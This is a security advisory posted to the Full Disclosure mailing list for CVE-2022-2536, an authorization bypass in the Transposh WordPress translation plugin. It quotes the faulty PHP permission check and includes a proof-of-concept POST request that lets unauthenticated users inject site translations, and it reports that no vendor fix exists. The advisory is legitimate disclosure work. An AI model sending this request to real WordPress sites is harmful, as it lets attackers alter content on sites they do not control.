[prev in list] [next in list] [prev in thread] [next in thread] 

List:       full-disclosure
Subject:    [FD] =?windows-1252?q?=5BCVE-2022-2536=5D_Transposh_=3C=3D_1=2E0?= =?windows-1252?q?=2E8=2E1_=93tp=5
From:       "Julien Ahrens (RCE Security)" <info () rcesecurity ! com>
Date:       2022-08-16 7:32:32
Message-ID: DEAEA01C-0AFE-4BC0-ACD7-42C3D1DE8135 () rcesecurity ! com
[Download RAW message or body]

RCE Security Advisory
https://www.rcesecurity.com


1. ADVISORY INFORMATION
=======================
Product:        Transposh WordPress Translation
Vendor URL:     https://wordpress.org/plugins/transposh-translation-filter-for-wordpress/
Type:           Incorrect Authorization [CWE-863]
Date found:     2022-07-23
Date published: 2022-08-16
CVSSv3 Score:   7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N)
CVE:            CVE-2022-2536


2. CREDITS
==========
This vulnerability was discovered and researched by Julien Ahrens from
RCE Security.


3. VERSIONS AFFECTED
====================
Transposh WordPress Translation 1.0.8.1 and below


4. INTRODUCTION
===============
Transposh translation filter for WordPress offers a unique approach to blog
translation. It allows your blog to combine automatic translation with human
translation aided by your users with an easy to use in-context interface.

(from the vendor's homepage)


5. VULNERABILITY DETAILS
========================
When installed, Transposh comes with a set of pre-configured options; one of these
is the "Who can translate" setting under the "Settings" tab. However, this option
is ignored if Transposh has enabled its "autotranslate" feature (it's enabled by
default) and the HTTP POST parameter "sr0" is larger than 0. This is caused by a
faulty validation in "wp/transposh_db.php":

if (!$by && !($all_editable &&
        ($this->transposh->is_translator() || ($source > 0 && $this->transposh->options->enable_autotranslate)))) {
    tp_logger("Unauthorized translation attempt " . $_SERVER['REMOTE_ADDR'], 1);
    header("HTTP/1.0 401 Unauthorized translation");
    exit;
}

Successful exploits can allow an unauthenticated attacker to bypass the Transposh
permissions and add translations to the WordPress site, thereby influencing what
is shown on the site. However, this only affects new translations.


6. PROOF OF CONCEPT
===================
The following Proof-of-Concept adds a new translation

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: [host]
Content-Length: 74
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
User-Agent: Mozilla/5.0
Connection: close

action=tp_translation&ln0=en&sr0=1&items=1&tk0=translation&tr0=translation


7. SOLUTION
===========
None. Remove the plugin to prevent exploitation.


8. REPORT TIMELINE
==================
2022-07-23: Discovery of the vulnerability
2022-07-23: CVE requested from Wordfence (CNA)
2022-07-25: Wordfence assigns CVE-2022-2536
2022-08-09: Sent note to vendor
2022-08-09: Vendor is aware of this bug, but there is no plan to fix it yet
2022-08-16: Public Disclosure


9. REFERENCES
=============
https://github.com/MrTuxracer/advisories

["signature.asc" (signature.asc)]

-----BEGIN PGP SIGNATURE-----

iQIzBAEBCAAdFiEEWVym3nC1+ioyX1+TzjvwrNEH1JsFAmL7SA8ACgkQzjvwrNEH
1Jsvjg//UPt8giAKMS82izsJ0HIT8pA/B40WPkXg+DEJ7GVz+nVEtUhqFJews5+o
Hn89Kp3gJahF0nIHv7XKdtfNxI+Gh7wXA5H737sdA9D0xDOrF3xJHmR91echETq9
Z0fFMzqfdbVPW65zUen+EvYJq6ieiNzcNt0JVTbQKdQ1qRvLbetLIg4UHftSDi9g
oF4s24HB1mPANlJq9qugXUCi/3mnVYy2TLa+sA/O/Y2A5V7TcYaIiNiJhUH1I3GE
iE/hJi2rZw7oH5gNjJ8jpQWACVYicceDJcLlHT/Xx90G+ve1vLvdx6mrhjKd+kW5
RAj820XNeGaIEJStmznr/Twl/YaK2vscs7JUHo4D+9jf2FDOly4dDnj9aPZ23Tsc
bRQBE6zSZJ8OGnpNnG1yX/n+nyXX23bwExLJNGXvI2pdAev1AInoK4k1SGtEmzYi
hx57qOVrmW1UMkVg5Ae9RAwSDIW4BKale99fEZnyylHXUhBQDEOu9s+sgR3hSpK8
lOihmrIchC1TweBAYVgtcK18uZHcJDCEP2afvlc3WM4FTBvyURfafau4jHBGaZV2
SFQknkf58pAaRdCd5MIymdRzVLz+M4BUZyF07brLDOoYCZLgxZhIxlXHuC0tYHuU
5sO7wB21aTufoo38GilqsIDM6jh06FpOSInugTt/W0k5+u30pHc=
=nfRa
-----END PGP SIGNATURE-----


_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
--===============0803555094338960961==--

[prev in list] [next in list] [prev in thread] [next in thread]